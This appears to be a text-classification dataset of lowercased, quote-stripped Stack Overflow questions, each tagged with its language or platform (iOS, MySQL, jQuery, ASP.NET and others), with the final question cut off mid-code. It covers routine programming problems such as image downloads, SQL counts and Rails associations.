sdwebimagedownloader : the image download fails with error 404  the images are stored at an server requiring authorization. is there any header value that we missed here or could you ust help me resolve this issue or point out to the right direction.    sdwebimagedownloader * downloader = [sdwebimagedownloader shareddownloader];   <pre><code>    [downloader setvalue:@ application/json  forhttpheaderfield:@ content-type ];     [downloader setvalue:@ image/png  forhttpheaderfield:@ content-type ];     [downloader setvalue:[self getauthorizationheadervalue] forhttpheaderfield:@ authorization ];     [downloader setvalue:@ utf-8  forhttpheaderfield:@ encoding ];      [downloader downloadimagewithurl:[nsurl urlwithstring:imageurl] options:sdwebimagedownloaderhighpriority progress:^(nsinteger receivedsize  nsinteger expectedsize) {          nslog(@ \n progress download ...... );     } completed:^(uiimage *image  nsdata *data  nserror *error  bool finished) {         if (image &amp;&amp; finished) {             nslog(@ success downloading image  returning image........ );             [subscriber sendnext:image];             [subscriber sendcompleted];         }         else if (error &amp;&amp; finished) {             nslog(@ error downloading image  returning placeholder image........ );             [subscriber senderror:error];             [subscriber sendcompleted];         }     }]; </code></pre>,iphone
cant install configuration profile after encryption  first i have a valid ssl certificate  i encrypted configuration profile but after that  i cant install it. i get this error in safari:     safari could not install a profile due to an unknown error.     this is the way i encrypted profile:    sample.mobileconfig (this is not the orginal file)   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;!doctype plist public  -//apple//dtd plist 1.0//en   http://www.apple.com/dtds/propertylist-1.0.dtd &gt; &lt;plist version= 1.0 &gt; &lt;dict&gt;     &lt;key&gt;payloadcontent&lt;/key&gt;     &lt;array&gt;         &lt;dict&gt;             &lt;key&gt;payloaddescription&lt;/key&gt;             &lt;string&gt;sample&lt;/string&gt;             &lt;key&gt;payloaddisplayname&lt;/key&gt;             &lt;string&gt;sample&lt;/string&gt;             &lt;key&gt;payloadidentifier&lt;/key&gt;             &lt;string&gt;com.apple.mobiledevice.passwordpolicy.075922a0-f3e8-4021-9299-05dce5737a69&lt;/string&gt;             &lt;key&gt;payloadtype&lt;/key&gt;             &lt;string&gt;com.apple.mobiledevice.passwordpolicy&lt;/string&gt;             &lt;key&gt;payloaduuid&lt;/key&gt;             &lt;string&gt;075922a0-f3e8-4021-9299-05dce5737a69&lt;/string&gt;             &lt;key&gt;payloadversion&lt;/key&gt;             &lt;integer&gt;1&lt;/integer&gt;             &lt;key&gt;allowsimple&lt;/key&gt;             &lt;true/&gt;             &lt;key&gt;forcepin&lt;/key&gt;             &lt;true/&gt;             &lt;key&gt;requirealphanumeric&lt;/key&gt;             &lt;false/&gt;         &lt;/dict&gt;     &lt;/array&gt;     &lt;key&gt;payloaddisplayname&lt;/key&gt;     &lt;string&gt;sample&lt;/string&gt;     &lt;key&gt;payloadidentifier&lt;/key&gt;     &lt;string&gt;com.example.sampleprofile&lt;/string&gt;     &lt;key&gt;payloadremovaldisallowed&lt;/key&gt;     &lt;false/&gt;     &lt;key&gt;payloadtype&lt;/key&gt;     &lt;string&gt;configuration&lt;/string&gt;     &lt;key&gt;payloaduuid&lt;/key&gt;     &lt;string&gt;04de3942-1870-4c98-b901-5a233ea772bf&lt;/string&gt;     &lt;key&gt;payloadversion&lt;/key&gt;     &lt;integer&gt;1&lt;/integer&gt; &lt;/dict&gt; &lt;/plist&gt; </code></pre>   then i cute payloadcontent array into a new file name content.plist   <pre><code>          &lt;array&gt;             &lt;dict&gt;                 &lt;key&gt;payloaddescription&lt;/key&gt;                 &lt;string&gt;sample&lt;/string&gt;                 &lt;key&gt;payloaddisplayname&lt;/key&gt;                 &lt;string&gt;sample&lt;/string&gt;                 &lt;key&gt;payloadidentifier&lt;/key&gt;                 &lt;string&gt;com.apple.mobiledevice.passwordpolicy.075922a0-f3e8-4021-9299-05dce5737a69&lt;/string&gt;                 &lt;key&gt;payloadtype&lt;/key&gt;                 &lt;string&gt;com.apple.mobiledevice.passwordpolicy&lt;/string&gt;                 &lt;key&gt;payloaduuid&lt;/key&gt;                 &lt;string&gt;075922a0-f3e8-4021-9299-05dce5737a69&lt;/string&gt;                 &lt;key&gt;payloadversion&lt;/key&gt;                 &lt;integer&gt;1&lt;/integer&gt;                 &lt;key&gt;allowsimple&lt;/key&gt;                 &lt;true/&gt;                 &lt;key&gt;forcepin&lt;/key&gt;                 &lt;true/&gt;                 &lt;key&gt;requirealphanumeric&lt;/key&gt;                 &lt;false/&gt;             &lt;/dict&gt;         &lt;/array&gt; </code></pre>   i used this command to encrypt content.plist file.   <pre><code>openssl smime -encrypt \         -aes256 \         -outform pem \         -in content.plist \         -out en-content.plist \         my.cert </code></pre>   after that i removed <code>-----begin pkcs7-----</code> lines and place the encrypted content between new <code>&lt;data&gt;</code> tags. after <code>payloadcontent</code> and renamed it to <code>encryptedpayloadcontent</code>   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;!doctype plist public  -//apple//dtd plist 1.0//en   http://www.apple.com/dtds/propertylist-1.0.dtd &gt; &lt;plist version= 1.0 &gt; &lt;dict&gt;     &lt;key&gt;encryptedpayloadcontent&lt;/key&gt;     &lt;data&gt;       //encrypted content     &lt;/data&gt;     &lt;key&gt;payloaddisplayname&lt;/key&gt;     &lt;string&gt;sample&lt;/string&gt;     &lt;key&gt;payloadidentifier&lt;/key&gt;     &lt;string&gt;com.example.sampleprofile&lt;/string&gt;     &lt;key&gt;payloadremovaldisallowed&lt;/key&gt;     &lt;false/&gt;     &lt;key&gt;payloadtype&lt;/key&gt;     &lt;string&gt;configuration&lt;/string&gt;     &lt;key&gt;payloaduuid&lt;/key&gt;     &lt;string&gt;04de3942-1870-4c98-b901-5a233ea772bf&lt;/string&gt;     &lt;key&gt;payloadversion&lt;/key&gt;     &lt;integer&gt;1&lt;/integer&gt; &lt;/dict&gt; &lt;/plist&gt; </code></pre>   and finally i signed it:   <pre><code>openssl smime -sign -in sample.mobileconfig -out signed-sample.mobileconfig -signer my.crt -inkey privatekey.pem -certfile my.chain.crt -outform der -nodetach </code></pre>   this is worked fine when i only sign it but when i encrypt it i cant install it.,ios
how do i make two classes to work together in java   i have been trying for weeks in this project where i have to make one class that generates 500 random numbers from 1-250 and in a second class i have to inherit the first class properties and write all those numbers in a text file but when i have being having problems getting the properties and work with it and i haven t found a way to do it online.    my first class is    <pre><code>import java.util.random;  public class genkeys {  public static void random(){ for (int i = 0; i &lt; 250; i++) {  int x = (int) (math.random() * 100); } } } </code></pre>   and my second code is   <pre><code>import java.util.random; import java.io.*; import java.lang.*; public class mainprog extends genkeys{  public static void main(string[] args){      public static void random(){     try {    bufferedwriter out = new bufferedwriter(new filewriter( file.txt ));  out.write( x + system.getproperty( line.separator ));// when i compile the x is not     found!!!  out.close(); } catch (ioexception e) { system.out.print(e);             }         } </code></pre>   how can i make the two classes work together,java
caching get response in javascript vanilla  i ve noticed that firefox does not cache get requests automatically. following the code i use:   <pre><code>var ajax = new xmlhttprequest(); ajax.open( get   page.php val=  + val true); ajax.send(); </code></pre>   with jquery is possible to give <code>cache: true;</code>  how can i save in the cache with vanilla javascript (client side)  is also possible to decide for how long  can you give me an example of code  thank you in advance!,javascript
.text() the parent class  i am trying to change <code>.cartsubprice</code> text to the new price provided by the json request. everything else works perfectly even the total price change and i know it is returned because of firebug and just <code>alert(resultsub)</code> shows it. i just cant figure out how to tell it to go to the proper place and change. any help would be greatly appreciated.     jquery   <pre><code>$( .cartupdate ).bind( keyup   function() {     changeitem = $(this);     var url =  cart/update       var qty = $(this).attr( value );     var rowid = $(this).attr( name );      if(qty &gt; 0) {         $.post(url  {qty: qty  rowid: rowid }  function changecost () {                   $.getjson( cart/updateprice   {rowid: rowid}  function(data) {                                   //convert to currency                                                    resultsub = data.subtotal.tofixed(2);                 resulttotal = data.totalprice.tofixed(2);                             //change                 $(changeitem).parent( .cartsubprice ).text(resultsub);                       $( .carttotalprice ).text(resulttotal);               });          });     }         return false; }); </code></pre>   html   <pre><code>&lt;div class= cartitem &gt;     item 1     &lt;div class= cartsubprice &gt;80.00&lt;/div&gt;         &lt;input type= text  name= 76ea881ebe188f1a7e7451a9d7f17ada  value= 4  class= cartupdate  &gt;        &lt;a href= #  id= cartdelete  name= 76ea881ebe188f1a7e7451a9d7f17ada &gt;x&lt;/a&gt; &lt;/div&gt; &lt;div class= cartitem &gt;     item 2     &lt;div class= cartsubprice &gt;20.00&lt;/div&gt;         &lt;input type= text  name= e7a36fadf2410205f0768da1b61156d9  value= 1  class= cartupdate  &gt;        &lt;a href= #  id= cartdelete  name= e7a36fadf2410205f0768da1b61156d9 &gt;x&lt;/a&gt; &lt;/div&gt; </code></pre>,jquery
string  does not contain a reference for  text   the .text on add is giving the error  i believe i have the right assemblies in place.   <pre><code>stringcollection sc = new stringcollection();  for (int i = 1; i &lt;= 2; i++) {     //extract the textbox values     string txt1 = ((textbox)page.findcontrol( textbox1  + i.tostring())).text;     string txt2 = ((textbox)page.findcontrol( textbox2  + i.tostring())).text;     string txt3 = ((textbox)page.findcontrol( textbox3  + i.tostring())).text;     string txt4 = ((textbox)page.findcontrol( textbox4  + i.tostring())).text;     string txt5 = ((textbox)page.findcontrol( textbox5  + i.tostring())).text;     string txt6 = ((textbox)page.findcontrol( textbox6  + i.tostring())).text;     string txt7 = ((textbox)page.findcontrol( textbox7  + i.tostring())).text;     string txt8 = ((textbox)page.findcontrol( textbox8  + i.tostring())).text;     string txt9 = ((textbox)page.findcontrol( textbox9  + i.tostring())).text;      sc.add(txt1.text  txt2.text  txt3.text  txt4.text  txt5.text  txt6.text  txt7.text  txt8.text  txt9.text); }      insertrecords(sc); </code></pre>,asp.net
windows 7 x64 .net app crash (works on everything else)  i m working on a .net application compiled for  any cpu .  we have succesfully deployed the application to mutliple environments.  the only one giving us issue is windows 7 x64 (it is crashing immediately complaining for badimageformatexception).  when i run the application with process monitor attached  i get the following before it initiates windows error reporting.   <pre><code>07:11.3 3544 regopenkey hklm\software\microsoft\ctf\knownclasses name not found 07:11.3 3544 createfile c:\windows\assembly\gac_msil\system.windows.forms\2.0.0.0__b77a5c561934e089\comctl32.dll name not found 07:11.4 3544 createfile c:\windows\assembly\gac_msil\system.windows.forms\2.0.0.0__b77a5c561934e089\comctl32.dll name not found 07:11.4 3544 createfile c:\windows\assembly\gac_msil\system.windows.forms\2.0.0.0__b77a5c561934e089\comctl32.dll name not found 07:11.6 3544 regopenkey hklm\software\microsoft\ctf\knownclasses name not found 07:11.6 3544 createfile c:\windows\assembly\gac_msil\system.windows.forms\2.0.0.0__b77a5c561934e089\comctl32.dll name not found 07:11.8 3544 regopenkey hkcu\software\policies\microsoft\pchealth\errorreporting name not found </code></pre>   has anyone else seen this,.net
jquery $variable check is attribute is equal to  <a href= http://jsfiddle.net/2wpfw/16/  rel= nofollow >http://jsfiddle.net/2wpfw/16/</a>    this seems really trivial question but i cannot for the life work this one out.    i have this jquery var...   <pre><code>var $selectarea = $( ul#1 li input[type= checkbox ]  ul#2 li input[type= checkbox ]  ul#3 li input[type= checkbox ] ); </code></pre>   and i want to run this...   <pre><code>$selectarea.closest( li ).addclass( box-checked ); </code></pre>   but only if the <code>$selectarea</code> attribute <code>checked</code> is <code> checked </code> - pretty simple right     <br />    so i ve tried this...   <pre><code>if ( $selectarea.attr( checked ) ==  checked  ) {      $selectarea.closest( li ).addclass( box-checked );  } </code></pre>   <br />    and...   <pre><code>$selectarea.filter( [checked= checked ] ).closest( li ).addclass( box-checked ); </code></pre>   <br />    and this... (but think im sniffing up the wrong tree here)    <pre><code>$selectarea.is( [checked= checked ] ).closest( li ).addclass( box-checked ); </code></pre>   <br /><br />    and ideas would be awesome thanks.    <a href= http://jsfiddle.net/2wpfw/16/  rel= nofollow >http://jsfiddle.net/2wpfw/16/</a>,jquery
how can i pass arguments on a contentplaceholder   ok  so here is the setup. i have a master page. the page is assigned to a aspx file programatically in the preinit function. this all works as expected.    i have a function that runs through all the controls on the page an looks for contentplaceholder controls with specific ids. when a specific id is found the control is processed (specific content is placed there based on the id and other information). this all works as expected.    i have a situation where i would like to pass information to my processor function from the control. i would like to be able to  based on an attribute  do different things. for example i would like to be able to put something like this on the masterpage:   <pre><code>&lt;asp:contentplaceholder id= cms_extrablock1  type= text  runat= server &gt;&lt;/asp:contentplaceholder&gt; </code></pre>   note that the type= text  attribute is not a standard attribute. i would like to be able to in the c# code do something like where ctrl is the contentplaceholder.   <pre><code>if (ctrl.attributes[ type ] ==  text ) {} else {} </code></pre>   now none of that will work as i get a parse error with the added attribute. so is there a way around the problem while still using the contentplaceholder control  if at all possible i would like to continue using the contentplaceholder control type for consistency with the rest of the code. if i can t use the contentplaceholder in any manner then what would be an equally ideal asp control for this type of situation,asp.net
how to keep uiview at relative distance from other after resizing   i have five <code>uiview</code> on a <code>uiscrollview</code>. all of them with the same width. each view has other subviews that resize its height according to the content assigned  thus making the parent uiview and the <code>uiscrollview</code> resizable as well. i am trying to keep the 5 <code>uiview</code> separated from each other at a certain  padding  distance even after resizing. what i do right now is set the position of the origin.y and the height of each <code>uiview</code> when <code>layoutsubviews</code> is called. is there an easier way to do this <br> i have tried to set their position on creation like: <code>cgrectmake(0  aboveview.frame.origin.y + aboveview.frame.size.height + padding  width  0)</code> and setting its <code>autoresizingmask</code> to <code>uiviewautoresizingmasktopmargin</code>. hoping that when i call <code>sizetofit</code> on the main <code>uiview</code>  all the <code>uview</code> will set their positions relative to the view above them.,objective-c
how to get counts among tree-structured records with a single sql query  i have three tables:    <pre><code>master table: top fields: id  field1  details table: middle fields: id  top_id  category  selection the category field can only have two values: red  blue. the selection field only has two values: good  bad this table has a reference field (top_id) pointing to the top table  extra table: bottom fields id  middle_id  value (value field can only have values 1  2) this table has a reference field (middle_id) only pointing to the records in the middle table whose category value is  red .  </code></pre>   now i hope to get counts of  good  or  bad  values of  blue  records in the middle table over the values of the  value  field in the bottom table when    <pre><code>1. there are  red  records in the middle table  and 2. these  red  records point to the same records in the top table as the  blue  records  and 3. these  red  records have details records in the bottom table and these records have 1 or 2 or 3 in the  value  field. </code></pre>   visually  these records form a tree structure as follows:   <pre><code>top (top table)-----records in the middle table with category being  blue                  |                 |----records in the middle table with category being  red                       |                      |-------records in the bottom table </code></pre>   in my situation  i cannot use database-specific solutions or procedures. i hope to write a single query for this  but failed to do so.     <strong>update</strong>    the target results should be rows similar to the following:    1 (the value of the bottom  value  field)  good ( blue  records with  good  value)  3 ( good  value of  blue  records appears three times for value  1 )    thanks for any help!    <strong>update 2</strong>    i believe misandrist s answer is the right  but he probably wrote it very quickly. after my test  i made changes and the following is the complete working script.    <pre><code>select bottom.value  mblue.selection  count(mblue.id) from top inner join middle as mred on mred.top_id = top.id inner join bottom on bottom.middle_id = mred.id inner join middle as mblue on mblue.top_id = top.id where mred.category =  red  and mblue.category =  blue  and bottom.value in (1  2  3) group by bottom.value  mblue.selection </code></pre>   misandrist  thank you!,sql
why is uiimage s drawatpoint throwing an error in this code   i am creating custom cell in my iphone aap and i am also adding an image to it but i continue to get error at [image drawatpoint:p];    the error states *** -[uiimage drawatpoint:]: message sent to deallocated instance 0x45cb1f0    my code is   <pre><code>-(void)setimage:(uiimage *)i {     //[image release];     image = i;     [self setneedsdisplay];  }  - (void)setneedsdisplay {     [super setneedsdisplay];     [contentview setneedsdisplay]; }  - (void)drawcontentview:(cgrect)r {     cgcontextref context = uigraphicsgetcurrentcontext();      uicolor *backgroundcolor = [uicolor yellowcolor];     uicolor *textcolor = [uicolor blackcolor];      if(self.selected)     {         backgroundcolor = [uicolor clearcolor];         textcolor = [uicolor whitecolor];     }      [backgroundcolor set];     cgcontextfillrect(context  r);      cgpoint p;     p.x = 3;     p.y = 3;      [textcolor set];     uiimage *image2 = image;     [image2 drawatpoint:p];      p.x += 70; // space between words     [text2 drawatpoint:p withfont:firsttextfont];      //[image release]; } </code></pre>,iphone
purposely return all records with like clause  i am currently working on a project that uses a <code>like</code> query that is dynamically generated to match results in the mysql db.     some of the search filters (for example  status ) include a the following dropdown:    <pre><code> &lt;select name= status &gt;        &lt;option value= inactive &gt;    ... </code></pre>   this <code>value</code> of this dropdown essentially injects in to the <code>like</code> statement and returns the appropriate records for that filter. the problem is i need to add an <code>all</code> option that will return <strong>all</strong> records for every filter (in this case all statuses  active  inactive  etc).     my question is  is it possible to create an option such as:    <code>&lt;option value= * &gt; all &lt;/option&gt;</code>    which will generate something similar to the following query  and return all  status  records:   <pre><code>select * from records where status like  %*%  </code></pre>   my goal is to not have to hardcode an additional php condition for every filter i need an <code>all</code> option for.,mysql
list of supported databases   is there a list of supported databases for ror  i m looking for mongodb support but couldn t find anything official.    i m a python/djangoist and have no clue for what keyword i should search in the ror world. :(    all official i could find was that <a href= http://api.rubyonrails.org/classes/activerecord/migration.html  rel= nofollow >small list</a> saying:     <em>migrations are currently supported in mysql  postgresql  sqlite  sql server  sybase  and oracle (all supported databases except db2).</em>    are these all  or is there maybe an app/plugin/whatever-its-called for ror i could use,ruby-on-rails
mysql multiple count() with multiple conditions in single query  i m newbie in mysql.    i have a table like below:   <hr>  <pre><code>colmna    colmnb a           x a           y b           x b           z c           x d           null </code></pre>  <hr>   what i want to achieve is something like:   <pre><code>select count(distinct colmna) where colmnb is not null as deployed  count(distinct colmna) where colmnb is null as undeployed from table </code></pre>  <h2>which will be resulted in:</h2>  <pre><code>deplyed    undeployed 3          1 </code></pre>  <hr>   is there an elegant way to achieve this with a single query  thanks for help    as far as i ve searched  the most closed solution is combining sum() with case condition  ex:   <pre><code>select sum(case when columnb is not null then 1 else 0) as deployed </code></pre>   but it will include duplicated count  and there is no way to add distinct into sum().,mysql
single mysql query summing results between a date and having count  i am looking for a single query that would give me the total sum of occurrences of a client_id who appear only once between a certain date range.    i have the query below which returns to the total but has an error when i add date range   <pre><code> select  count(cnt) from (select      count(*) as cnt from     loans l5 group by l5.client_id having cnt &lt; 2) as a </code></pre>,mysql
parsefloat rounding issue  i m having a problem with the parsefloat function    total is 0     this.value is 49   <pre><code> total = parsefloat(total) + parsefloat((this).value); </code></pre>   after this line of code is ran total = 50...    i m not sure why i m sure i ve used this function before without any problems.,javascript
to understand .net configuration files  would like to explore the .net configuration (web.config &amp; machine.config..)  please help me by providing the urls which can help me on this.    thanks! karthikeyan,.net
remove query results with having  i have an sql query like the following:   <pre><code>select aaa   count(condition_1)   count(condition_2)   count(condition_3) from db where ... group by 1  order by 1 </code></pre>   the above will return four columns. is it possible with a having statement to suppress some of the fields in the results but return all the rows that the original script would produce.    thanks in advance for your help,sql
adding up values read from text file - c programming  i m still new to c. i need to find the total transaction for combo and ala-carte. hence  i created a function to read through each line and then add up to get the total combo meal and total ala-carte transactions inside my while loop. however  i m not getting any values printed out at all.     output from daily_transactions function:   <pre><code>   total combo meal transaction : 0    total ala-carte transaction : 0    total sales : rm 0.00 </code></pre>   i coded it using fscanf()   <pre><code>    tfptr = fopen( trans.txt    r );     //loops until end of file to read last line     while( fgets(str  sizeof(str)  tfptr)!=null ){ //fgets() will return null when the file is over                                                                                                              fscanf(tfptr   %u:%u:%f\n   &amp;combo_trans  &amp;ala_trans  &amp;total);         c_trans += combo_trans;         a_trans += ala_trans;         grand_total += total;     }                                                daily_transactions(c_trans  a_trans  grand_total);                                                                                       fclose(tfptr);           </code></pre>   text file:   <pre><code>0:1:7.98 1:1:20.97 2:1:35.96 2:2:44.95 2:2:44.95 3:2:55.94 </code></pre>   edit: the function to print out the transactions   <pre><code>void daily_transactions(int combo_trans  int ala_trans  float grand_total){     printf( --------------------------------\n );     printf(    daily transactions\n );     printf( --------------------------------\n );     printf( total combo meal transaction : %d\n   combo_trans);     printf( total ala-carte transaction : %d\n   ala_trans);     printf( total sales : rm %.2f\n   grand_total);                          puts( ------------------------------------ ); } </code></pre>,c
find max value from each decimal value  i need to find only those record whose value is maximum in sequence id.    for ex.   <pre><code>seq_id  =============== 239334.001 239341.001 239344.001 239345.001 239447.001 239334.004 239341.004 239344.004 239345.004 239447.004 239334.007 239341.007 239344.007 239345.007 239447.007 </code></pre>   now i need to  find only those seq_id whose decimal value is maximum. for ex.   <pre><code>seq_id  ===============  239334.007 239341.007 239344.007 239345.007 239447.007 </code></pre>   so any solution     thanks,mysql
how to show that loading circle between activity transition   i got two activities activity1 and activity2. when clicked on button  i am switching from activity1 to activity2. but activity2 is taking a lot of time to load due to slow internet speed. empty screen is shown till the activity is loaded.    instead of the black screen  i want to show a progress bar and when the activity2 is ready  then close progress bar without making the user to get frustrated.    i don t have any idea of how to do this or start this. i am new to android. please help me by suggesting idea or please share any links regarding this!!    thanks in advance!!,android
scroll not working in update panel having more than one div sections  i have an update panel. top section of the update panel should be freeze and bottom section should be scrollable. so i have divided the update panel into two ; one having fixed width and with no scroll and the other having scroll.  see code below:   <pre><code>  &lt;asp:updatepanel runat= server  id= updatepanel1 &gt;         &lt;contenttemplate&gt;             &lt;div&gt;                 &lt;asp:panel id= controlbar  runat= server  cssclass= toolbar &gt;                     &lt;%--some popup buttons are here --&gt;                 &lt;/asp:panel&gt;             &lt;/div&gt;              &lt;div id= scrollablesectiondiv  style= position: relative; width: 100%; height: 88%; overflow: auto; &gt;   &lt;%--some fields are here --&gt; &lt;/div&gt; &lt;/asp:updatepanel&gt;    </code></pre>   i have a drop down in the second  which fills another drop down based on the value which refreshes the updatepanel. problem is after reloading of updatepanel scroll is not accurate and it is not showing all the controls below i.e. scroll is not complete. but if i re-size the browser or simply refresh the browser  scroll starts working. please provide some solution. thanks in advance.,asp.net
html validator attribute error  <a href= https://validator.w3.org/  rel= nofollow noreferrer >html validator</a> (links to an external site.) is giving following error types on my form html however below code looks fine to me; please suggest if i may be looking over something obvious:   <ul> <li><strong>bad value radio for attribute type on element input</strong>: input type= radio  name= customer  value= new  checked aria-checked= true  aria-labelledby= print  role= radiogroup  aria-required= false </li> <li><strong>attribute checked not allowed on element input at this point</strong>: input type= radio  name= customer  value= new  checked aria-checked= true  aria-labelledby= print  role= radiogroup  aria-required= false </li> <li><strong>attribute aria-checked not allowed on element input at this point</strong>: input type= radio  name= customer  value= new  checked aria-checked= true  aria-labelledby= print  role= radiogroup  aria-required= false </li> </ul>   jsfiddle: <a href= https://jsfiddle.net/019fzygc/  rel= nofollow noreferrer >https://jsfiddle.net/019fzygc/</a>   <pre><code>&lt;legend&gt;survey&lt;/legend&gt;             &lt;p id= repeat &gt;have you ordered from this site before &lt;/p&gt;             &lt;label&gt;&lt;input type= radio  name= customer  value= new  checked aria-checked= true  aria-labelledby= print  role= radiogroup  aria-required= false &gt; no&lt;/label&gt;             &lt;label&gt;&lt;input type= radio  name= customer  value= existing  aria-labelledby= print  aria-checked= false  role= radiogroup  aria-required= false &gt; yes&lt;/label&gt; </code></pre>   edit: i am not using ul / li on my code here unlike the below suggested question.,html
creation of mysql subquery  i am working to create a graph for pos data.  i    <pre><code>select date_format(date_add(date(receipts.datenew - interval (5*60 + 30) minute)  interval (5*60 + 30)  minute)   %y-%m-%d ) as interval_start   convert(extractvalue(products.attributes   /properties//entry[@key=\ maincat\ ] ) using utf8) as maincat   round(sum(ticketlines.price * ticketlines.units)  -3) as daysales from ticketlines  tickets  receipts  products  where ticketlines.product = products.id  and ticketlines.ticket = tickets.id  and tickets.id = receipts.id  and ticketlines.product is not null  and (receipts.datenew &gt;= date_sub(now()  interval 3 month) and receipts.person &gt; 0)  group by date(receipts.datenew - interval (5*60 + 30) minute)  maincat order by interval_start  maincat </code></pre>   and i get the following data:   <pre><code>interval_start  maincat daysales 2016-12-31  drink   45108000 2016-12-31  food    49791000 2016-12-31  other   109000 2017-01-01  drink   14226000 2017-01-01  food    27425000 2017-01-01  other   36000 2017-01-02  drink   20400000 2017-01-02  food    25648000 2017-01-02  other   109000 </code></pre>   but i need this format:   <pre><code>interval_start  drink       food 2016-12-31  45108000    36000 2016-12-31  49791000    20400000 2016-12-31  109000        25648000 2017-01-01  27425000   109000 2017-01-01  14226000   49791000 </code></pre>   i believe a subquery is the answer  but i am not able to figure it out.    thanks in advance.    allan,mysql
migration for users following posts  in my application  i have models for users and projects.    i want users to have the ability to follow many projects. so users has_many projects  and projects belongs_to users that not only created them but users that follow them too.    so i generated a migration called <code>projectrelationship</code> and tried to make it flow below  but it doesn t seem to work. can somebody help me fix my associations     thanks for the help!    <strong>project_relationship.rb</strong>   <pre><code>class projectrelationship &lt; activerecord::base   belongs_to :user   belongs_to :project end </code></pre>   <strong>project.rb</strong>   <pre><code>belongs_to :user has_many :project_relationships has_many :followers  through: :project_relationships  source: :user </code></pre>   <strong>user.rb</strong>   <pre><code>has_many :projects has_many :project_relationships has_many :projects_followed  through: :project_relationships  source: :project </code></pre>   <strong>schema.rb</strong>   <pre><code>create_table  project_relationships   :force =&gt; true do |t|   t.integer   follower_id    t.datetime  created_at       :null =&gt; false   t.datetime  updated_at       :null =&gt; false   t.integer   projectuser_id  end  add_index  project_relationships   [ follower_id ]  :name =&gt;  index_project_relationships_on_follower_id   :unique =&gt; true add_index  project_relationships   [ projectuser_id ]  :name =&gt;  index_project_relationships_on_projectuser_id  </code></pre>   <strong>projects/show.html.erb</strong>   <pre><code>&lt;%= @project.followers.count %&gt; </code></pre>,ruby-on-rails
how to verify icons in assetcatalog.car file manually after updating ios sdk 11  the <code>assetcatalog.car</code> file shows missing when we run automation.    would you know how to verify <code>assetcatalog.car</code> manually,ios
creating an enum with an optional value  i m working with some code that lays out sections for accessing an array by using an enum such as:   <pre><code>typedef ns_enum(nsuinteger  reportsection) {     section1      section2      section3      count }; </code></pre>   however i need to modify it to add a new row if <code>[self _test]</code> evaluates to true. the conditional is determined in runtime so i don t think i can use a macro. the resulting code will be:   <pre><code>typedef ns_enum(nsuinteger  reportsection) {     section1      section2      newrow // must be between section 2 and three     section3      count }; </code></pre>   i m working with existing code so modifications should be kept to a minimum. if i just always use the second case with the optional row always included  i get off by one errors.     does anyone have any ideas how to do this without going through the code and incrementing the enum values if the conditional is true (i know this is a possibility but i was hoping that a more elegant solution existed)     thanks for the help  i apologize if it seems rather trivial.,objective-c
should idataerrorinfo.error return all of the errors  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/8542824/should-inotifydataerrorinfo-geterrorsnull-return-all-of-the-errors >should inotifydataerrorinfo.geterrors(null) return all of the errors </a>    </blockquote>     should idataerrorinfo.error return all of the errors  or should it return just the object level errors,.net
double quote single quote not working in php/javascript  i can t get my required result when i use this code   <pre><code>&lt; php  session_start();  $returnmessage =  hey ;  $test = fopen( check.txt   a+); fwrite($test       if (empty($_session[ nabeel ])) {      echo  &lt;script&gt;alert($returnmessage)&lt;/script&gt; ;    };      &gt;     ) </code></pre>   i also tried doing this but does work...    <pre><code>&lt; php  session_start();  $returnmessage =  hey ;   &gt; $test = fopen( check.txt   a+); fwrite($test       if (empty($_session[ nabeel ])) {      echo  &lt;script&gt;alert(&lt; php $returnmessage  &gt;)&lt;/script&gt; ;    }      &gt;     ) </code></pre>   i think i have some problem with quotes.,html
why nsurlconnection didreceivedata not be called in background location update  please help me  i am coding ios with background location update and send location data to my server. below is my code:   <pre><code> #import  appdelegate.h   @implementation appdelegate  - (void)applicationdidenterbackground:(uiapplication *)application {      nslog(@ went to background );        [locationmanager startmonitoringsignificantlocationchanges];        [locationmanager startupdatinglocation];  }  - (void)locationmanager:(cllocationmanager *)manager didupdatelocations:(nsarray *)locations {      uiapplication *app = [uiapplication sharedapplication];     __block uibackgroundtaskidentifier locationupdatetaskid = [app beginbackgroundtaskwithexpirationhandler:^{         dispatch_async(dispatch_get_main_queue()  ^{             if (locationupdatetaskid != uibackgroundtaskinvalid) {                 [app endbackgroundtask:locationupdatetaskid];                 locationupdatetaskid = uibackgroundtaskinvalid;             }         });     }];      dispatch_async(dispatch_get_global_queue(dispatch_queue_priority_default  0)  ^{          if ([[locations lastobject] horizontalaccuracy] &lt; 100.0f) {              nsuserdefaults *userdefaults=[nsuserdefaults standarduserdefaults];             mytoken=[userdefaults stringforkey:@ mytoken ];             if (mytoken==nil) {                 mytoken=@  ;             }             mybgtype=[userdefaults stringforkey:@ mybgtype ];             if (mybgtype==nil) {                 mybgtype=@ all ;                 [userdefaults setobject:mybgtype forkey:@ mybgtype ];                 [userdefaults synchronize];             }               cllocation *newlocation = [locations lastobject];             cllocation *oldlocation;             if (locations.count &gt; 1) {                 oldlocation = [locations objectatindex:locations.count-2];             } else {                 oldlocation = nil;             }              nsstring *nowlng=[[nsnumber numberwithfloat:newlocation.coordinate.longitude] stringvalue];             nsstring *nowlat=[[nsnumber numberwithfloat:newlocation.coordinate.latitude] stringvalue];              uilocalnotification *schedulealert;             [[uiapplication sharedapplication] cancelalllocalnotifications];             schedulealert=[[uilocalnotification alloc] init];             schedulealert.applicationiconbadgenumber=1;             schedulealert.firedate=[nsdate datewithtimeintervalsincenow:1];             schedulealert.timezone=[nstimezone defaulttimezone];             schedulealert.repeatinterval=nsdaycalendarunit;             schedulealert.soundname=uilocalnotificationdefaultsoundname;             schedulealert.alertbody=nowlat;             [[uiapplication sharedapplication] schedulelocalnotification:schedulealert];              if ([mybgtype isequaltostring:@ n ]) {             } else {                  [self loadtaskmybg:newlocation];             }           }          dispatch_async(dispatch_get_main_queue()  ^{             if (locationupdatetaskid != uibackgroundtaskinvalid) {                 [app endbackgroundtask:locationupdatetaskid];                 locationupdatetaskid = uibackgroundtaskinvalid;             }         });     }); }   -(void) loadtaskmybg:(cllocation *)newlocation {      nsstring *mylat = [nsstring stringwithformat:@ %.8f   newlocation.coordinate.latitude];     nsstring *mylng = [nsstring stringwithformat:@ %.8f   newlocation.coordinate.longitude];      nslog(@ task 1 );       receiveddatamybg=[[nsmutabledata alloc] initwithlength:0];      nsstring * urlstring;      urlstring = @ https://www.xx.xx/xx.cshtml ;        nsurl * url = [nsurl urlwithstring:urlstring];      nsmutableurlrequest * request = 